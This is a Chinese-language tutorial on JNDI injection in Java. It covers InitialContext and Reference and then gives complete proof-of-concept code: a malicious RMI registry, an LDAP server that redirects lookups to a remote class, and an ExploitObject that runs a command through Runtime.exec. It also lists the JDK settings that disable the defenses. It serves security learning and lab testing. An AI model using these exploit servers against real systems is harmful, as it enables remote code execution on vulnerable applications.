Java之JNDI注入的实现

目录
  • About JNDI
    • 0x01 简介
    • 0x02 JNDI的用途
    • 0x03 日常使用
    • 0x04 JNDI命名和目录服务
  • 前置知识
    • InitialContext类
    • Reference类
    • JNDI Demo
  • JNDI+RMI攻击手法
  • JNDI+LDAP攻击手法
  • Reference

About JNDI

0x01 简介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

0x03 日常使用

其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

0x04 JNDI命名和目录服务

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多,下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

InitialContext类

构造方法:

InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj)
	将名称绑定到对象。
list(String name)
	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
	检索命名对象。
rebind(String name, Object obj)
	将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
	取消绑定命名对象。 

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

 String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr)
	将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
	将地址添加到地址列表的末尾。
void clear()
	从此引用中删除所有地址。
RefAddr get(int posn)
	检索索引posn上的地址。
RefAddr get(String addrType)
	检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
	检索本参考文献中地址的列举。
String getClassName()
	检索引用引用的对象的类名。
String getFactoryClassLocation()
	检索此引用引用的对象的工厂位置。
String getFactoryClassName()
	检索此引用引用对象的工厂的类名。
Object remove(int posn)
	从地址列表中删除索引posn上的地址。
int size()
	检索此引用中的地址数。
String toString()
	生成此引用的字符串表示形式。  

JNDI Demo

下面看一段代码,是一段易受JNDI注入攻击的demo

主要是调用的lookup方法中url参数可控,那么可能会导致JNDI注入漏洞的产生。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIDemo {

    public void Jndi(String url) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  • JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://127.0.0.1:1099/ExportObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class JNDIExploitServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //创建Registry
        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:8080/";
        // 实例化一个Reference尝试为远程对象构造一个引用
        Reference reference = new Reference("ExploitObject", "ExploitObject", url);
        // 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("ExportObject", referenceWrapper);
        System.out.println("Registry&Server Start ...");
        //打印别名
        System.out.println("Registry List: " + Arrays.toString(registry.list()));
    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

在此期间遇到了几个坑点,记录一下:

  • JDK的限制,测试环境延用了RMI时的JDK7u17
  • 在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh1z3ven.jndi),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java

JNDI+LDAP攻击手法

这里的限制是在8u191之前

copy一段LDAP的Server端代码

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDIServer2

public class JNDIServer2 {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:7777/ExploitObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Reference

如何绕过高版本 JDK 的限制进行 JNDI 注入利用:https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://paper.seebug.org/1091/

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/

到此这篇关于Java之JNDI注入的实现的文章就介绍到这了,更多相关Java JNDI注入内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Java中的命名与目录接口JNDI基本操作方法概览

    对jndi总体的理解: jndi(java naming and directory Interface)它提供了一套使用命名和目录服务的接口.用户可以通过它来使用命名和目录服务.就像jdbc一样.jndi包括命名服务和目录服务两部分,其中目录服务包含目录对象directory object,它包含若干属性对象.提供了对属性的很多操作. 命名和目录服务: 命名和目录服务我们一直在使用,如操作系统的文件系统,它给我们提供对文件的操作,查询,添加删除等功能.DNS服务将url同ip地址绑定在了一起.

  • JNDI在JavaEE中的角色_动力节点Java学院整理

    虽然 J2EE 平台提高了普通企业开发人员的生活水平,但是这种提高是以不得不学习许多规范和技术为代价的,这些规范和技术则是 J2EE 为了成为无所不包的分布式计算平台而整合进来的.Dolly Developer 是众多开发人员中的一员,她已经发现了一个特性,该特性有助于缓解随企业级应用程序部署而带来的负担,这个特性就是 JNDI,即 Java 命名与目录接口(Java Naming and Directory Interface).让我们来看看 Dolly 在没有 JNDI 的时候是怎么做的,以

  • Java JNDI案例详解

    JNDI的理解 JNDI是 Java 命名与文件夹接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之中的一个,不少专家觉得,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识.  那么,JNDI究竟起什么作用?//带着问题看文章是最有效的  要了解JNDI的作用,我们能够从"假设不用JNDI我们如何做?用了JNDI后我们又将如何做?"这个问题来探讨.  没有JNDI的做法:  程序猿开发时,知道要开发訪

  • JNDI简介_动力节点Java学院整理

    一.JNDI是什么? JNDI--Java 命名和目录接口(Java Naming and Directory Interface),是一组在Java应用中访问命名和目录服务的API. 二.JNDI好处 解耦:通过注册.查找JNDI服务,可以直接使用服务,而无需关心服务提供者,这样程序不至于与访问的资源耦合! JNDI优点  包含了大量的命名和目录服务,使用通用接口来访问不同种类的服务: 可以同时连接到多个命名或目录服务上: 建立起逻辑关联,允许把名称同Java对象或资源关联起来,而不必知道对象

  • Java之JNDI注入的实现

    目录 About JNDI 0x01 简介 0x02 JNDI的用途 0x03 日常使用 0x04 JNDI命名和目录服务 前置知识 InitialContext类 Reference类 JNDI Demo JNDI+RMI攻击手法 JNDI+LDAP攻击手法 Reference About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提

  • Java基于JNDI 实现读写分离的示例代码

    目录 一.JNDI数据源配置 二.JNDI数据源使用 三.web.xml配置 四.spring-servlet.xml配置 五.spring-db.xml配置 六.log4j.properties配置 七.相关路由数据源切换逻辑代码 八.搭建过程中遇到的问题和解决方案 一.JNDI数据源配置 在Tomcat的conf目录下,context.xml在其中标签中添加如下JNDI配置: <Resource name="dataSourceMaster" factory="or

  • Java使用JNDI连接数据库的实现方法

    目录 项目背景 环境 概念 数据源与连接池 什么是JNDI JNDI优点 JDNI在Tomcat中的配置 Jar包 测试准备 JNDI配置 全局引用 局部引用 参考资料 项目背景 在项目中本身使用的SQL Server 数据库,某些功能下需要访问Sybase数据库(都淘汰的东西 QAQ),考虑到功能较少并且我们的UAT和PROD环境使用的是WebSphere,其本身已经存在JNDI的连接方式,因此我决定使用JNDI设置,那么就需要解决JNDI在Tomcat下的配置了,找了很多资料,说到这,不得不

  • Java SpringBoot容器注入对象详解

    目录 1.注入的方式 方式一:使用Import注解 方式二:使用@Service 或者@Component等注解注入到容器中 方式三:使用@Configuration和@Bean组合实现 2.注入是增加条件判断注解 3.构造方法时带参数注入 方式1:使用spring xml实现 方式2:使用@Autowired 方式3使用@Configuration和@Bean组合 4.对象注入时的一些总结 总结 1.注入的方式 方式一:使用Import注解 增加一个类HelloCompent package

  • Java元注解meta-annotation和依赖注入详解

    这篇文章既介绍一个技术,又记录一个逐渐探索发现的过程,以供大家参考. 缘起 注意到Java的依赖注入DI规范(起初以为是CDI规范,然后发现是DI规范)有个叫@Qualifier的注解,用于当一个interface或base class有多个实现类时,能选择其中一个实现.如不用这一注解,一般的(按类型)注入就会报错说"不知道要在多个实现中选哪一个".这一注解可以放在一个自定义注解上(例如@MyPreferredImplementation),从而将自定义注解变成一个qualifier

  • Java如何有效避免SQL注入漏洞的方法总结

    目录 1.简单又有效的方法是使用PreparedStatement 2.使用过滤器 防止sql注入的一些建议 总结 1.简单又有效的方法是使用PreparedStatement 采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX(如:setString)方法传值即可. 好处: (1).代码的可读性和可维护性变好. (2).PreparedStatement尽最大可能提高性能. (3).最重要的一点是极大地提高了安全性. 原理: SQL注入只对SQL语句的编译过程有破坏作用,

  • Java中如何避免sql注入实例详解

    目录 前言 造成sql注入的原因: 预防sql注入方法: java 有效的防止SQL注入 总结 前言 sql注入是web开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息.利用数据库的特性执行添加用户.导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限. 造成sql注入的原因: 程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL脚本,程序在接收后错误的将攻击者的输入作为SQL语句的一部分执行,导致原始的查询逻辑被改变,执行了攻击者精心构造的恶意SQL语句.

  • 浅谈spring ioc的注入方式及注入不同的数据类型

    关于Spring-IoC的简单使用参考: spring ioc的简单实例及bean的作用域属性解析 1.通过set方法注入不同数据类型 测试类代码(set方式注入的属性一定要加set方法) /**通过set方法注入示例*/ public class IoC_By_Set { /**注入Integer类型参数*/ private Integer id; /**注入String类型参数*/ private String name; /**注入实体Bean*/ private User user; /

  • Java中的RASP机制实现详解

    RSAP RASP是Gartner公司提出的一个概念,称:程序不应该依赖于外部组件进行运行时保护,而应该自身拥有运行时环境保护机制: RASP就是运行时应用自我保护(Runtime application self-protection)的缩写,正如RASP字面意思一样,这是运行在运行时的一种防护技能:也就是说RASP能够在程序运行期间实施自我保护,监控与过滤有害信息,还能够拥结合程序的当前上下文实施精确.实时的防护: Java中的RASP 不严格来说Java是半编译.半解释型语言,我们也都知道

  • laravel框架中你所用到的依赖注入详解

    前言 用Laravel开发前前后后有2个月左右了,之前一直写Java,就像找到Java和PHP之前的共同点,用Java的某些原理去理解PHP会发现还是有很多共通之处的.Java的依赖注入已经是一个很常见的概念了,Spring框架主要就是解决了这一点,在PHP的laravel框架中,也出现了依赖注入的方式. 依赖注入就控制反转的一种是实现方式,面向对象的特征的重要体现,那么依赖注入中什么是依赖呢,这点用Java开发的人很多都能理解.笼统的说依赖就是一种联系,变量和实现的联系.有关于依赖注入的理解之

随机推荐